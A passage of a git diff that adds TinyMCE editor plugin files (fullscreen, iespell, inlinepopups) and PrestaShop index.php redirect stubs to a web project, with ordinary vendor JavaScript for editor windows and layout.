if (tinymce.isOpera && s.fullscreen_overflow == 'visible') + s.fullscreen_overflow = 'auto'; + + // Fixes an IE bug where horizontal scrollbars would appear + if (tinymce.isIE && s.fullscreen_overflow == 'scroll') + s.fullscreen_overflow = 'auto'; + + // Fixes an IE bug where the scrollbars doesn't reappear + if (tinymce.isIE && (s.fullscreen_html_overflow == 'visible' || s.fullscreen_html_overflow == 'scroll')) + s.fullscreen_html_overflow = 'auto'; + + if (s.fullscreen_overflow == '0px') + s.fullscreen_overflow = ''; + + DOM.setStyle(DOM.doc.body, 'overflow', 'hidden'); + de.style.overflow = 'hidden'; //Fix for IE6/7 + vp = DOM.getViewPort(); + DOM.win.scrollTo(0, 0); + + if (tinymce.isIE) + vp.h -= 1; + + // Use fixed position if it exists + if (tinymce.isIE6) + posCss = 'absolute;top:' + vp.y; + else + posCss = 'fixed;top:0'; + + n = DOM.add(DOM.doc.body, 'div', { + id : 'mce_fullscreen_container', + style : 'position:' + posCss + ';left:0;width:' + vp.w + 'px;height:' + vp.h + 'px;z-index:200000;'}); + DOM.add(n, 'div', {id : 'mce_fullscreen'}); + + tinymce.each(ed.settings, function(v, n) { + s[n] = v; + }); + + s.id = 'mce_fullscreen'; + s.width = n.clientWidth; + s.height = n.clientHeight - 15; + s.fullscreen_is_enabled = true; + s.fullscreen_editor_id = ed.id; + s.theme_advanced_resizing = false; + s.save_onsavecallback = function() { + ed.setContent(tinyMCE.get(s.id).getContent()); + ed.execCommand('mceSave'); + }; + + tinymce.each(ed.getParam('fullscreen_settings'), function(v, k) { + s[k] = v; + }); + + if (s.theme_advanced_toolbar_location === 'external') + s.theme_advanced_toolbar_location = 'top'; + + t.fullscreenEditor = new tinymce.Editor('mce_fullscreen', s); + t.fullscreenEditor.onInit.add(function() { + t.fullscreenEditor.setContent(ed.getContent()); + t.fullscreenEditor.focus(); + }); + + t.fullscreenEditor.render(); + + t.fullscreenElement = new tinymce.dom.Element('mce_fullscreen_container'); + t.fullscreenElement.update(); + //document.body.overflow = 'hidden'; + + t.resizeFunc = tinymce.dom.Event.add(DOM.win, 'resize', function() { + var vp = tinymce.DOM.getViewPort(), fed = t.fullscreenEditor, outerSize, innerSize; + + // Get outer/inner size to get a delta size that can be used to calc the new iframe size + outerSize = fed.dom.getSize(fed.getContainer().firstChild); + innerSize = fed.dom.getSize(fed.getContainer().getElementsByTagName('iframe')[0]); + + fed.theme.resizeTo(vp.w - outerSize.w + innerSize.w, vp.h - outerSize.h + innerSize.h); + }); + } + }); + + // Register buttons + ed.addButton('fullscreen', {title : 'fullscreen.desc', cmd : 'mceFullScreen'}); + + ed.onNodeChange.add(function(ed, cm) { + cm.setActive('fullscreen', ed.getParam('fullscreen_is_enabled')); + }); + }, + + getInfo : function() { + return { + longname : 'Fullscreen', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('fullscreen', tinymce.plugins.FullScreenPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullscreen/fullscreen.htm b/js/tiny_mce/plugins/fullscreen/fullscreen.htm new file mode 100755 index 0000000..496a2f6 --- /dev/null +++ b/js/tiny_mce/plugins/fullscreen/fullscreen.htm @@ -0,0 +1,110 @@ + + + + + + + + + +
    + +
    + + + + + diff --git a/js/tiny_mce/plugins/fullscreen/index.php b/js/tiny_mce/plugins/fullscreen/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/fullscreen/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/iespell/editor_plugin.js b/js/tiny_mce/plugins/iespell/editor_plugin.js new file mode 100755 index 0000000..e9cba10 --- /dev/null +++ b/js/tiny_mce/plugins/iespell/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.IESpell",{init:function(a,b){var c=this,d;if(!tinymce.isIE){return}c.editor=a;a.addCommand("mceIESpell",function(){try{d=new ActiveXObject("ieSpell.ieSpellExtension");d.CheckDocumentNode(a.getDoc().documentElement)}catch(f){if(f.number==-2146827859){a.windowManager.confirm(a.getLang("iespell.download"),function(e){if(e){window.open("http://www.iespell.com/download.php","ieSpellDownload","")}})}else{a.windowManager.alert("Error Loading ieSpell: Exception "+f.number)}}});a.addButton("iespell",{title:"iespell.iespell_desc",cmd:"mceIESpell"})},getInfo:function(){return{longname:"IESpell (IE Only)",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("iespell",tinymce.plugins.IESpell)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/iespell/editor_plugin_src.js b/js/tiny_mce/plugins/iespell/editor_plugin_src.js new file mode 100755 index 0000000..61edf1e --- /dev/null +++ b/js/tiny_mce/plugins/iespell/editor_plugin_src.js @@ -0,0 +1,54 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.IESpell', { + init : function(ed, url) { + var t = this, sp; + + if (!tinymce.isIE) + return; + + t.editor = ed; + + // Register commands + ed.addCommand('mceIESpell', function() { + try { + sp = new ActiveXObject("ieSpell.ieSpellExtension"); + sp.CheckDocumentNode(ed.getDoc().documentElement); + } catch (e) { + if (e.number == -2146827859) { + ed.windowManager.confirm(ed.getLang("iespell.download"), function(s) { + if (s) + window.open('http://www.iespell.com/download.php', 'ieSpellDownload', ''); + }); + } else + ed.windowManager.alert("Error Loading ieSpell: Exception " + e.number); + } + }); + + // Register buttons + ed.addButton('iespell', {title : 'iespell.iespell_desc', cmd : 'mceIESpell'}); + }, + + getInfo : function() { + return { + longname : 'IESpell (IE Only)', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('iespell', tinymce.plugins.IESpell); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/iespell/index.php b/js/tiny_mce/plugins/iespell/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/iespell/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/index.php b/js/tiny_mce/plugins/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/editor_plugin.js b/js/tiny_mce/plugins/inlinepopups/editor_plugin.js new file mode 100755 index 0000000..8bb96f9 --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/editor_plugin.js @@ -0,0 +1 @@ +(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(s,j){var z=this,i,k="",r=z.editor,g=0,v=0,h,m,o,q,l,x,y,n;s=s||{};j=j||{};if(!s.inline){return z.parent(s,j)}n=z._frontWindow();if(n&&d.get(n.id+"_ifr")){n.focussedElement=d.get(n.id+"_ifr").contentWindow.document.activeElement}if(!s.type){z.bookmark=r.selection.getBookmark(1)}i=d.uniqueId();h=d.getViewPort();s.width=parseInt(s.width||320);s.height=parseInt(s.height||240)+(tinymce.isIE?8:0);s.min_width=parseInt(s.min_width||150);s.min_height=parseInt(s.min_height||100);s.max_width=parseInt(s.max_width||2000);s.max_height=parseInt(s.max_height||2000);s.left=s.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(s.width/2)));s.top=s.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(s.height/2)));s.movable=s.resizable=true;j.mce_width=s.width;j.mce_height=s.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=s.auto_focus;z.features=s;z.params=j;z.onOpen.dispatch(z,s,j);if(s.type){k+=" mceModal";if(s.type){k+=" mce"+s.type.substring(0,1).toUpperCase()+s.type.substring(1)}s.resizable=false}if(s.statusbar){k+=" mceStatusbar"}if(s.resizable){k+=" mceResizable"}if(s.minimizable){k+=" mceMinimizable"}if(s.maximizable){k+=" mceMaximizable"}if(s.movable){k+=" mceMovable"}z._addAll(d.doc.body,["div",{id:i,role:"dialog","aria-labelledby":s.type?i+"_content":i+"_title","class":(r.settings.inlinepopups_skin||"clearlooks2")+(tinymce.isIE&&window.getSelection?" ie9":""),style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},s.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft",tabindex:"0"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight",tabindex:"0"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!s.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;v+=d.get(i+"_top").clientHeight;v+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:s.top,left:s.left,width:s.width+g,height:s.height+v});y=s.url||s.file;if(y){if(tinymce.relaxedDomain){y+=(y.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}y=tinymce._addVer(y)}if(!s.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:s.width,height:s.height});d.setAttrib(i+"_ifr","src",y)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(s.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",s.content.replace("\n","
    "));a.add(i,"keyup",function(f){var p=27;if(f.keyCode===p){s.button_func(false);return a.cancel(f)}});a.add(i,"keydown",function(f){var t,p=9;if(f.keyCode===p){t=d.select("a.mceCancel",i+"_wrapper")[0];if(t&&t!==f.target){t.focus()}else{d.get(i+"_ok").focus()}return a.cancel(f)}})}o=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=z.windows[i];z.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceClose"){z.close(null,i);return a.cancel(t)}else{if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return z._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return z._startDrag(i,t,u.className.substring(13))}}}}}}});q=a.add(i,"click",function(f){var p=f.target;z.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":z.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":s.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});a.add([i+"_left",i+"_right"],"focus",function(p){var t=d.get(i+"_ifr");if(t){var f=t.contentWindow.document.body;var u=d.select(":input:enabled,*[tabindex=0]",f);if(p.target.id===(i+"_left")){u[u.length-1].focus()}else{u[0].focus()}}else{d.get(i+"_ok").focus()}});x=z.windows[i]={id:i,mousedown_func:o,click_func:q,element:new b(i,{blocker:1,container:r.getContainer()}),iframeElement:new b(i+"_ifr"),features:s,deltaWidth:g,deltaHeight:v};x.iframeElement.on("focus",function(){z.focus(i)});if(z.count==0&&z.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(z.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:z.zIndex-1}});d.show("mceModalBlocker");d.setAttrib(d.doc.body,"aria-hidden","true")}else{d.setStyle("mceModalBlocker","z-index",z.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}d.setAttrib(i,"aria-hidden","false");z.focus(i);z._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}z.count++;return x},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h;if(f.focussedElement){f.focussedElement.focus()}else{if(d.get(h+"_ok")){d.get(f.id+"_ok").focus()}else{if(d.get(f.id+"_ifr")){d.get(f.id+"_ifr").focus()}}}}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;gf){g=h;f=h.zIndex}});return g},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/editor_plugin_src.js b/js/tiny_mce/plugins/inlinepopups/editor_plugin_src.js new file mode 100755 index 0000000..2a6f3ad --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/editor_plugin_src.js @@ -0,0 +1,699 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM, Element = tinymce.dom.Element, Event = tinymce.dom.Event, each = tinymce.each, is = tinymce.is; + + tinymce.create('tinymce.plugins.InlinePopups', { + init : function(ed, url) { + // Replace window manager + ed.onBeforeRenderUI.add(function() { + ed.windowManager = new tinymce.InlineWindowManager(ed); + DOM.loadCSS(url + '/skins/' + (ed.settings.inlinepopups_skin || 'clearlooks2') + "/window.css"); + }); + }, + + getInfo : function() { + return { + longname : 'InlinePopups', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + tinymce.create('tinymce.InlineWindowManager:tinymce.WindowManager', { + InlineWindowManager : function(ed) { + var t = this; + + t.parent(ed); + t.zIndex = 300000; + t.count = 0; + t.windows = {}; + }, + + open : function(f, p) { + var t = this, id, opt = '', ed = t.editor, dw = 0, dh = 0, vp, po, mdf, clf, we, w, u, parentWindow; + + f = f || {}; + p = p || {}; + + // Run native windows + if (!f.inline) + return t.parent(f, p); + + parentWindow = t._frontWindow(); + if (parentWindow && DOM.get(parentWindow.id + '_ifr')) { + parentWindow.focussedElement = DOM.get(parentWindow.id + '_ifr').contentWindow.document.activeElement; + } + + // Only store selection if the type is a normal window + if (!f.type) + t.bookmark = ed.selection.getBookmark(1); + + id = DOM.uniqueId(); + vp = DOM.getViewPort(); + f.width = parseInt(f.width || 320); + f.height = parseInt(f.height || 240) + (tinymce.isIE ? 8 : 0); + f.min_width = parseInt(f.min_width || 150); + f.min_height = parseInt(f.min_height || 100); + f.max_width = parseInt(f.max_width || 2000); + f.max_height = parseInt(f.max_height || 2000); + f.left = f.left || Math.round(Math.max(vp.x, vp.x + (vp.w / 2.0) - (f.width / 2.0))); + f.top = f.top || Math.round(Math.max(vp.y, vp.y + (vp.h / 2.0) - (f.height / 2.0))); + f.movable = f.resizable = true; + p.mce_width = f.width; + p.mce_height = f.height; + p.mce_inline = true; + p.mce_window_id = id; + p.mce_auto_focus = f.auto_focus; + + // Transpose +// po = DOM.getPos(ed.getContainer()); +// f.left -= po.x; +// f.top -= po.y; + + t.features = f; + t.params = p; + t.onOpen.dispatch(t, f, p); + + if (f.type) { + opt += ' mceModal'; + + if (f.type) + opt += ' mce' + f.type.substring(0, 1).toUpperCase() + f.type.substring(1); + + f.resizable = false; + } + + if (f.statusbar) + opt += ' mceStatusbar'; + + if (f.resizable) + opt += ' mceResizable'; + + if (f.minimizable) + opt += ' mceMinimizable'; + + if (f.maximizable) + opt += ' mceMaximizable'; + + if (f.movable) + opt += ' mceMovable'; + + // Create DOM objects + t._addAll(DOM.doc.body, + ['div', {id : id, role : 'dialog', 'aria-labelledby': f.type ? id + '_content' : id + '_title', 'class' : (ed.settings.inlinepopups_skin || 'clearlooks2') + (tinymce.isIE && window.getSelection ? ' ie9' : ''), style : 'width:100px;height:100px'}, + ['div', {id : id + '_wrapper', 'class' : 'mceWrapper' + opt}, + ['div', {id : id + '_top', 'class' : 'mceTop'}, + ['div', {'class' : 'mceLeft'}], + ['div', {'class' : 'mceCenter'}], + ['div', {'class' : 'mceRight'}], + ['span', {id : id + '_title'}, f.title || ''] + ], + + ['div', {id : id + '_middle', 'class' : 'mceMiddle'}, + ['div', {id : id + '_left', 'class' : 'mceLeft', tabindex : '0'}], + ['span', {id : id + '_content'}], + ['div', {id : id + '_right', 'class' : 'mceRight', tabindex : '0'}] + ], + + ['div', {id : id + '_bottom', 'class' : 'mceBottom'}, + ['div', {'class' : 'mceLeft'}], + ['div', {'class' : 'mceCenter'}], + ['div', {'class' : 'mceRight'}], + ['span', {id : id + '_status'}, 'Content'] + ], + + ['a', {'class' : 'mceMove', tabindex : '-1', href : 'javascript:;'}], + ['a', {'class' : 'mceMin', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceMax', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceMed', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceClose', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {id : id + '_resize_n', 'class' : 'mceResize mceResizeN', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_s', 'class' : 'mceResize mceResizeS', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_w', 'class' : 'mceResize mceResizeW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_e', 'class' : 'mceResize mceResizeE', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_nw', 'class' : 'mceResize mceResizeNW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_ne', 'class' : 'mceResize mceResizeNE', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_sw', 'class' : 'mceResize mceResizeSW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_se', 'class' : 'mceResize mceResizeSE', tabindex : '-1', href : 'javascript:;'}] + ] + ] + ); + + DOM.setStyles(id, {top : -10000, left : -10000}); + + // Fix gecko rendering bug, where the editors iframe messed with window contents + if (tinymce.isGecko) + DOM.setStyle(id, 'overflow', 'auto'); + + // Measure borders + if (!f.type) { + dw += DOM.get(id + '_left').clientWidth; + dw += DOM.get(id + '_right').clientWidth; + dh += DOM.get(id + '_top').clientHeight; + dh += DOM.get(id + '_bottom').clientHeight; + } + + // Resize window + DOM.setStyles(id, {top : f.top, left : f.left, width : f.width + dw, height : f.height + dh}); + + u = f.url || f.file; + if (u) { + if (tinymce.relaxedDomain) + u += (u.indexOf('?') == -1 ? '?' : '&') + 'mce_rdomain=' + tinymce.relaxedDomain; + + u = tinymce._addVer(u); + } + + if (!f.type) { + DOM.add(id + '_content', 'iframe', {id : id + '_ifr', src : 'javascript:""', frameBorder : 0, style : 'border:0;width:10px;height:10px'}); + DOM.setStyles(id + '_ifr', {width : f.width, height : f.height}); + DOM.setAttrib(id + '_ifr', 'src', u); + } else { + DOM.add(id + '_wrapper', 'a', {id : id + '_ok', 'class' : 'mceButton mceOk', href : 'javascript:;', onmousedown : 'return false;'}, 'Ok'); + + if (f.type == 'confirm') + DOM.add(id + '_wrapper', 'a', {'class' : 'mceButton mceCancel', href : 'javascript:;', onmousedown : 'return false;'}, 'Cancel'); + + DOM.add(id + '_middle', 'div', {'class' : 'mceIcon'}); + DOM.setHTML(id + '_content', f.content.replace('\n', '
    ')); + + Event.add(id, 'keyup', function(evt) { + var VK_ESCAPE = 27; + if (evt.keyCode === VK_ESCAPE) { + f.button_func(false); + return Event.cancel(evt); + } + }); + + Event.add(id, 'keydown', function(evt) { + var cancelButton, VK_TAB = 9; + if (evt.keyCode === VK_TAB) { + cancelButton = DOM.select('a.mceCancel', id + '_wrapper')[0]; + if (cancelButton && cancelButton !== evt.target) { + cancelButton.focus(); + } else { + DOM.get(id + '_ok').focus(); + } + return Event.cancel(evt); + } + }); + } + + // Register events + mdf = Event.add(id, 'mousedown', function(e) { + var n = e.target, w, vp; + + w = t.windows[id]; + t.focus(id); + + if (n.nodeName == 'A' || n.nodeName == 'a') { + if (n.className == 'mceClose') { + t.close(null, id); + return Event.cancel(e); + } else if (n.className == 'mceMax') { + w.oldPos = w.element.getXY(); + w.oldSize = w.element.getSize(); + + vp = DOM.getViewPort(); + + // Reduce viewport size to avoid scrollbars + vp.w -= 2; + vp.h -= 2; + + w.element.moveTo(vp.x, vp.y); + w.element.resizeTo(vp.w, vp.h); + DOM.setStyles(id + '_ifr', {width : vp.w - w.deltaWidth, height : vp.h - w.deltaHeight}); + DOM.addClass(id + '_wrapper', 'mceMaximized'); + } else if (n.className == 'mceMed') { + // Reset to old size + w.element.moveTo(w.oldPos.x, w.oldPos.y); + w.element.resizeTo(w.oldSize.w, w.oldSize.h); + w.iframeElement.resizeTo(w.oldSize.w - w.deltaWidth, w.oldSize.h - w.deltaHeight); + + DOM.removeClass(id + '_wrapper', 'mceMaximized'); + } else if (n.className == 'mceMove') + return t._startDrag(id, e, n.className); + else if (DOM.hasClass(n, 'mceResize')) + return t._startDrag(id, e, n.className.substring(13)); + } + }); + + clf = Event.add(id, 'click', function(e) { + var n = e.target; + + t.focus(id); + + if (n.nodeName == 'A' || n.nodeName == 'a') { + switch (n.className) { + case 'mceClose': + t.close(null, id); + return Event.cancel(e); + + case 'mceButton mceOk': + case 'mceButton mceCancel': + f.button_func(n.className == 'mceButton mceOk'); + return Event.cancel(e); + } + } + }); + + // Make sure the tab order loops within the dialog. + Event.add([id + '_left', id + '_right'], 'focus', function(evt) { + var iframe = DOM.get(id + '_ifr'); + if (iframe) { + var body = iframe.contentWindow.document.body; + var focusable = DOM.select(':input:enabled,*[tabindex=0]', body); + if (evt.target.id === (id + '_left')) { + focusable[focusable.length - 1].focus(); + } else { + focusable[0].focus(); + } + } else { + DOM.get(id + '_ok').focus(); + } + }); + + // Add window + w = t.windows[id] = { + id : id, + mousedown_func : mdf, + click_func : clf, + element : new Element(id, {blocker : 1, container : ed.getContainer()}), + iframeElement : new Element(id + '_ifr'), + features : f, + deltaWidth : dw, + deltaHeight : dh + }; + + w.iframeElement.on('focus', function() { + t.focus(id); + }); + + // Setup blocker + if (t.count == 0 && t.editor.getParam('dialog_type', 'modal') == 'modal') { + DOM.add(DOM.doc.body, 'div', { + id : 'mceModalBlocker', + 'class' : (t.editor.settings.inlinepopups_skin || 'clearlooks2') + '_modalBlocker', + style : {zIndex : t.zIndex - 1} + }); + + DOM.show('mceModalBlocker'); // Reduces flicker in IE + DOM.setAttrib(DOM.doc.body, 'aria-hidden', 'true'); + } else + DOM.setStyle('mceModalBlocker', 'z-index', t.zIndex - 1); + + if (tinymce.isIE6 || /Firefox\/2\./.test(navigator.userAgent) || (tinymce.isIE && !DOM.boxModel)) + DOM.setStyles('mceModalBlocker', {position : 'absolute', left : vp.x, top : vp.y, width : vp.w - 2, height : vp.h - 2}); + + DOM.setAttrib(id, 'aria-hidden', 'false'); + t.focus(id); + t._fixIELayout(id, 1); + + // Focus ok button + if (DOM.get(id + '_ok')) + DOM.get(id + '_ok').focus(); + t.count++; + + return w; + }, + + focus : function(id) { + var t = this, w; + + if (w = t.windows[id]) { + w.zIndex = this.zIndex++; + w.element.setStyle('zIndex', w.zIndex); + w.element.update(); + + id = id + '_wrapper'; + DOM.removeClass(t.lastId, 'mceFocus'); + 